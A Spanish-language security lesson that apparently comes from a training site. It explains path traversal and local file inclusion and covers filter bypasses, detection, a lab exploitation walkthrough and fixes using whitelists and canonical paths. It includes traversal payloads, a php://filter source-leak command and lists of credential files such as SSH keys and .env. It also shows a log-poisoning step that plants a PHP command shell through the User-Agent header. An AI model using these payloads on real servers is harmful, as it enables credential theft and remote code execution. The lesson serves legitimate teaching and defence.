Aprende › Vulnerabilidades web

LFI y Path Traversal: qué son, cómo se explotan y cómo se corrigen

· 11 min de lectura

Aprende qué son el Path Traversal y la inclusión local de archivos (LFI), por qué permiten leer archivos del servidor e incluso ejecutar código, cómo se detectan y se explotan en un laboratorio autorizado y cómo se corrigen con rutas canónicas y listas blancas.

Muchas aplicaciones web cargan archivos a partir de un nombre que llega en la petición: una plantilla, un idioma, una imagen, un PDF para descargar. Si la aplicación no controla bien ese nombre, un atacante puede pedirle cualquier otro archivo del servidor: configuraciones con contraseñas, claves SSH, código fuente o registros del sistema.

A este problema se le conoce como Path Traversal (recorrido de directorios) y, cuando el archivo además se incluye y se ejecuta como parte de la página, como LFI (Local File Inclusion, inclusión local de archivos). Es una de las vulnerabilidades más frecuentes en los laboratorios y en auditorías reales, y muchas veces es la puerta de entrada a todo lo demás.

En esta lección vas a ver qué son, en qué se diferencian, cómo se detectan, cómo se explotan paso a paso en un laboratorio autorizado y cómo se corrigen.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Leer archivos de un servidor ajeno sin permiso es un delito.

Qué son el Path Traversal y el LFI#

Los sistemas de archivos usan .. para referirse al directorio padre. Si una aplicación construye una ruta pegando lo que escribe el usuario a una carpeta base, el usuario puede usar ../ para salir de esa carpeta y llegar a cualquier otra.

Por ejemplo, una aplicación que muestra documentos desde /var/www/app/docs/ y recibe el nombre por la URL:

/ver.php?doc=manual.pdf          →  /var/www/app/docs/manual.pdf
/ver.php?doc=../../../../etc/passwd  →  /var/www/app/docs/../../../../etc/passwd  =  /etc/passwd
Cómo la secuencia ../ hace que la ruta salga de la carpeta prevista y llegue a cualquier archivo del servidor
Cómo la secuencia ../ hace que la ruta salga de la carpeta prevista y llegue a cualquier archivo del servidor

La diferencia entre los dos nombres está en qué hace la aplicación con el archivo:

VulnerabilidadQué hace la aplicación con el archivoConsecuencia típica
Path TraversalLo lee y lo devuelve o lo descargaLectura de archivos arbitrarios
LFILo incluye como código (por ejemplo con include en PHP)Lectura y, en algunos casos, ejecución de código
RFIIncluye un archivo desde una URL remotaEjecución directa de código del atacante

El RFI (Remote File Inclusion) es la variante remota: la aplicación incluye un archivo desde otro servidor. Hoy es poco frecuente porque PHP desactiva por defecto la inclusión de URL (allow_url_include = Off), pero sigue apareciendo en configuraciones antiguas.

Por qué ocurre: la causa raíz#

Este es el patrón clásico en PHP:

// index.php?pagina=contacto
$pagina = $_GET['pagina'];
include("paginas/" . $pagina . ".php");

El programador pensaba en valores como inicio o contacto, pero el código acepta cualquier texto. Con ../../../../etc/passwd y un truco para anular la extensión, o directamente en aplicaciones que no añaden extensión, la ruta termina fuera de la carpeta paginas.

Lo mismo ocurre en cualquier lenguaje cuando se concatena una ruta con datos del usuario:

# Vulnerable: Flask
@app.get("/descargar")
def descargar():
    nombre = request.args.get("archivo")
    return send_file("/srv/app/archivos/" + nombre)

La causa de fondo es siempre la misma: confiar en que el nombre recibido es inofensivo y no comprobar que la ruta final sigue dentro de la carpeta permitida.

Variantes y técnicas habituales#

Los filtros mal hechos son muy comunes, y por eso existen muchas formas de esquivarlos. Conocerlas te ayuda tanto a probar como a no caer en ellas al programar:

TécnicaEjemploQué esquiva
Ruta absoluta/etc/passwdFiltros que solo buscan ../
Secuencias anidadas....//....//etc/passwdFiltros que borran ../ una sola vez
Codificación URL%2e%2e%2fFiltros que miran el texto sin decodificar
Doble codificación%252e%252e%252fAplicaciones que decodifican dos veces
Barra invertida..\..\windows\win.iniFiltros que solo esperan / en servidores Windows
Prefijo obligatorio/var/www/app/docs/../../../etc/passwdComprobaciones que solo miran el inicio de la ruta

En PHP, además, existen los envoltorios (wrappers), que cambian la forma de leer un archivo. El más útil en un laboratorio es php://filter, que permite leer el código fuente de un archivo PHP en lugar de ejecutarlo, codificándolo en Base64:

index.php?pagina=php://filter/convert.base64-encode/resource=config

La respuesta trae el contenido de config.php en Base64. Al decodificarlo aparecen, muchas veces, las credenciales de la base de datos.

Dónde aparece#

  • Parámetros que eligen archivos o plantillas: ?pagina=, ?plantilla=, ?idioma=, ?vista=, ?tema=.
  • Descargas: ?archivo=factura_2041.pdf, /descargar/nombre.
  • Imágenes y adjuntos: visores que reciben la ruta de la imagen.
  • Funciones de exportación e informes que cargan una plantilla por nombre.
  • Archivos comprimidos: al descomprimir, entradas con nombres como ../../web/shell.php escriben fuera de la carpeta. Esta variante se conoce como Zip Slip.

Cómo se detecta#

Pruebas manuales#

Cuando encuentres un parámetro que parece recibir un nombre de archivo, compara respuestas en un entorno autorizado:

PruebaQué buscas
../../../../etc/passwdEl contenido de /etc/passwd (líneas como root:x:0:0:)
/etc/passwdQue acepte rutas absolutas
....//....//....//etc/passwdQue el filtro elimine ../ una sola vez
..%2f..%2f..%2fetc%2fpasswdQue el filtro no decodifique antes de comprobar
php://filter/convert.base64-encode/resource=indexCódigo fuente en Base64 (aplicaciones PHP)
..\..\..\windows\win.iniLectura en servidores Windows

Usa siempre suficientes ../: si sobran, el sistema se queda en la raíz / y no pasa nada, así que pon de más.

Herramientas#

  • Burp Suite: para repetir peticiones cambiando el parámetro y comparar respuestas.
  • ffuf con listas de rutas de traversal (por ejemplo, las de SecLists) para automatizar las variantes en un laboratorio.
  • Revisión de código: busca include, require, file_get_contents, fopen, readfile, send_file u open() que reciban datos del usuario.

Explotación paso a paso en un laboratorio#

Vamos a recorrer un caso típico en un laboratorio autorizado: una web en PHP con index.php?pagina=inicio.

Paso 1: confirmar la lectura de archivos#

http://IP_DEL_LAB/index.php?pagina=../../../../etc/passwd

Si aparecen líneas como root:x:0:0:root:/root:/bin/bash, la inclusión funciona. Fíjate en los usuarios con shell (/bin/bash): serán tus objetivos más adelante.

Paso 2: leer el código fuente#

Las páginas PHP se ejecutan al incluirlas, así que no ves su código. Con el envoltorio de filtro sí:

curl -s "http://IP_DEL_LAB/index.php?pagina=php://filter/convert.base64-encode/resource=config" \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d

Busca credenciales de base de datos, claves de API o rutas de otros archivos interesantes.

Paso 3: buscar archivos sensibles#

Con la lectura confirmada, en un laboratorio se revisan archivos que suelen contener información útil:

/etc/hosts                       otras máquinas de la red
/home/USUARIO/.ssh/id_rsa        clave privada SSH de un usuario
/var/www/html/.env               variables de entorno con secretos
/proc/self/environ               variables del proceso web
/var/log/apache2/access.log      registro de accesos del servidor web

Una clave SSH privada legible suele ser suficiente para entrar a la máquina como ese usuario.

Paso 4: de LFI a ejecución de código con log poisoning#

Si la aplicación incluye archivos (LFI, no solo lectura) y puedes leer el registro de accesos, existe una técnica clásica de laboratorio: escribir código PHP en el registro y luego incluirlo. El servidor registra el User-Agent de cada visita, así que se envía una petición con código en esa cabecera:

curl -s "http://IP_DEL_LAB/" -A '<?php system($_GET["cmd"]); ?>'

Después se incluye el registro pasando un comando:

http://IP_DEL_LAB/index.php?pagina=../../../../var/log/apache2/access.log&cmd=id

Si en la respuesta aparece algo como uid=33(www-data), el código del registro se ejecutó. A partir de aquí, en el laboratorio, el siguiente paso suele ser obtener una shell inversa y buscar cómo escalar privilegios.

Esta técnica depende de que el usuario del servidor web pueda leer el registro y de que la aplicación ejecute lo que incluye. Muchos servidores modernos no cumplen esas condiciones, pero sigue siendo frecuente en laboratorios y sistemas antiguos.

Qué puede lograr un atacante#

ImpactoEjemplo real
Robo de credencialesLeer config.php, .env o wp-config.php con las claves de la base de datos
Acceso al servidorLeer una clave SSH privada y entrar como ese usuario
Fuga de código fuenteDescubrir otras vulnerabilidades leyendo el código de la aplicación
Ejecución de códigoCombinar LFI con log poisoning, sesiones o archivos subidos
Reconocimiento internoLeer /etc/hosts, configuraciones de red y servicios internos

Cómo se corrige#

Ruta construida con el dato del usuario frente a una lista blanca y la comprobación de la ruta canónica
Ruta construida con el dato del usuario frente a una lista blanca y la comprobación de la ruta canónica

No usar el dato del usuario como ruta#

La solución más robusta es que el usuario elija un identificador y la aplicación lo traduzca a una ruta fija mediante una lista blanca:

$paginas = [
    'inicio'   => 'paginas/inicio.php',
    'contacto' => 'paginas/contacto.php',
    'precios'  => 'paginas/precios.php',
];
$clave = $_GET['pagina'] ?? 'inicio';
include $paginas[$clave] ?? $paginas['inicio'];

El usuario nunca escribe una ruta: solo elige entre opciones conocidas.

Si el nombre es libre, comprobar la ruta canónica#

Cuando hay muchos archivos posibles (por ejemplo, documentos subidos), resuelve la ruta real y comprueba que sigue dentro de la carpeta permitida:

$base = realpath('/srv/app/documentos');
$ruta = realpath($base . '/' . basename($_GET['archivo'] ?? ''));

if ($ruta === false || !str_starts_with($ruta, $base . DIRECTORY_SEPARATOR)) {
    http_response_code(404);
    exit;
}
readfile($ruta);

basename() quita cualquier directorio del nombre, y realpath() resuelve .., enlaces simbólicos y rutas relativas para que la comprobación se haga sobre la ruta definitiva.

En Python, la idea es la misma:

from pathlib import Path

BASE = Path("/srv/app/archivos").resolve()

def ruta_segura(nombre: str) -> Path:
    ruta = (BASE / nombre).resolve()
    if not ruta.is_relative_to(BASE):
        raise PermissionError("Ruta fuera de la carpeta permitida")
    return ruta

Endurecer el servidor#

  • Mínimo privilegio: el usuario del servidor web no debe poder leer claves SSH, registros ni configuraciones que no necesite.
  • PHP: mantener allow_url_include = Off y, si es posible, limitar los directorios accesibles con open_basedir.
  • Separar datos y código: los archivos que suben los usuarios, fuera de la carpeta pública y sin permisos de ejecución.
  • Al descomprimir archivos, validar cada entrada para evitar Zip Slip.

Errores comunes al defenderse#

  • Borrar ../ con un reemplazo. ....// se convierte en ../ después del reemplazo. Los filtros de texto se esquivan; la ruta canónica no.
  • Comprobar antes de decodificar. Si la comprobación se hace sobre %2e%2e%2f y luego se decodifica, el filtro no sirve.
  • Comprobar solo que la ruta empieza por la carpeta base. /srv/app/docs/../../etc/passwd empieza por la carpeta correcta y aun así sale de ella. Hay que resolverla primero.
  • Añadir una extensión y creer que basta. Forzar .php limita los archivos, pero no impide incluir otros archivos PHP del servidor ni usar envoltorios.
  • Olvidar Windows. En servidores Windows, \ también separa directorios.

Preguntas frecuentes#

¿Qué diferencia hay entre Path Traversal y LFI?#

En el Path Traversal la aplicación lee el archivo y te lo devuelve. En el LFI lo incluye como parte del código, lo que en lenguajes como PHP puede permitir ejecutar instrucciones. Por eso el LFI suele ser más grave.

¿Por qué todo el mundo prueba con /etc/passwd?#

Porque existe en casi todos los sistemas Linux, cualquier usuario puede leerlo y su contenido es fácil de reconocer. Sirve para confirmar la vulnerabilidad sin depender de saber qué otros archivos hay.

¿Un LFI siempre termina en ejecución de código?#

No. Depende de que la aplicación ejecute lo que incluye y de que exista algún archivo que el atacante pueda controlar (registros, sesiones, archivos subidos). Muchas veces se queda en lectura de archivos, que ya es grave por las credenciales que expone.

¿Sigue existiendo el RFI?#

Es raro en PHP moderno porque la inclusión de URL está desactivada por defecto, pero aparece en configuraciones antiguas o mal endurecidas.

En los laboratorios de whoami-labs de esta lección, que reproducen estos fallos de forma controlada, o en entornos propios.

Resumen#

  • El Path Traversal usa ../ para salir de la carpeta prevista y leer cualquier archivo; el LFI además incluye el archivo como código.
  • Se detecta probando rutas con ../, rutas absolutas, codificaciones y envoltorios como php://filter.
  • Su impacto va desde leer credenciales y claves SSH hasta ejecutar código con técnicas como log poisoning.
  • Se corrige con listas blancas de archivos o, si el nombre es libre, con basename() y la comprobación de la ruta canónica.
  • Borrar ../ o filtrar texto no es una corrección.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría